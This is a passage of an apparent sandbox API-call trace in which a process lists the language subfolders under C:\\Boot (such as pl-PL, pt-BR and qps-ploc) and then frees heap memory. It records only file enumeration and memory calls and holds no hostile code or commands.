ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.952] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.952] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.952] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.953] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0242.953] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4b0 [0242.954] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.954] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.954] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.954] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.954] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0242.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.954] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0242.954] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec3f0 [0242.955] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.955] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.955] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.955] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.955] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0242.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.956] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0242.956] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec270 [0242.956] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.957] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0242.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0242.957] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.073] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0243.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0243.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0243.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0243.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0243.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0243.089] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.300] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f88000 | out: hHeap=0x630000) returned 1 [0243.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f57fe8 | out: hHeap=0x630000) returned 1 [0243.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2be0, Size=0x4000) returned 0x3f57fe8 [0243.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.335] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.573] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.573] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.574] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.574] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.574] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.574] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.574] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0243.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0243.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7c000 | out: hHeap=0x630000) returned 1 [0243.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7c000 | out: hHeap=0x630000) returned 1 [0243.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7c000 | out: hHeap=0x630000) returned 1 [0243.581] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.581] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0243.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0243.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0243.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.929] 